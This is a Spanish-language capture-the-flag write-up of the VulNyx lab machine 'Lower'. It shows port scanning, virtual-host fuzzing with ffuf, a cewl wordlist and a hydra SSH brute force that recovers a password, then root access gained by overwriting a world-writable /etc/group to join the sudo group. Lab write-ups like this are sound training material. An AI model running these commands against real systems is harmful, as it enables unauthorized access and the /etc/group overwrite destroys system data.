cd ~/blog

~/writeups/vulnyx/26-lower.md

26 - Lower

low Linux vulnyx 05-02-2025
Virtual host discoveryCustom wordlist (cewl) + SSH brute forceWritable /etc/group Privesc
vulnyx.com

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.56
 nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 16:15 -03
Nmap scan report for 192.168.1.56
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://www.unique.nyx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds

El sitio redirige a http://www.unique.nyx/, que agregamos a nuestro /etc/hosts. Al entrar, un error indica que el subdominio no es www, así que fuzzeamos virtual hosts con ffuf, filtrando por número de palabras de la respuesta por defecto, y descubrimos tech:

 ffuf -u http://unique.nyx -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:VHOST -H "Host: VHOST.unique.nyx" -fw 1
...
tech                    [Status: 200, Size: 19766, Words: 4127, Lines: 453, Duration: 3ms]
...

En tech.unique.nyx encontramos varios usuarios potenciales:

 cat users.txt
tom
kathren
lancer

Generamos un diccionario de contraseñas a partir de las palabras del propio sitio con cewl y hacemos fuerza bruta contra SSH:

 cewl http://tech.unique.nyx/ --with-numbers > ./passwds.txt

 hydra -L users.txt -P passwds.txt 192.168.1.56 ssh -t 64
...
[22][ssh] host: 192.168.1.56   login: lancer   password: NewY0rk
...

Nos logueamos como lancer y obtenemos la primera flag.

Para escalar privilegios, comprobamos los permisos de /etc/group y vemos que es escribible. Abusamos de ello (Writable Critical Files Privesc) para auto-asignarnos al grupo sudo:

lancer@lower:~$ ls -l /etc/group
-rw-r--rw- 1 root root 619 dic 15 13:22 /etc/group

lancer@lower:~$ id
uid=1000(lancer) gid=1000(lancer) grupos=1000(lancer)

lancer@lower:~$ echo 'sudo:x:27:lancer' > /etc/group
lancer@lower:~$ su lancer
Contraseña: NewY0rk
lancer@lower:~$ id
uid=1000(lancer) gid=1000 grupos=1000,27(sudo)

Ya en el grupo sudo, lanzamos una shell de root:

lancer@lower:~$ sudo bash
[sudo] contraseña para lancer: NewY0rk
root@lower:/home/lancer#

Obtenemos la flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados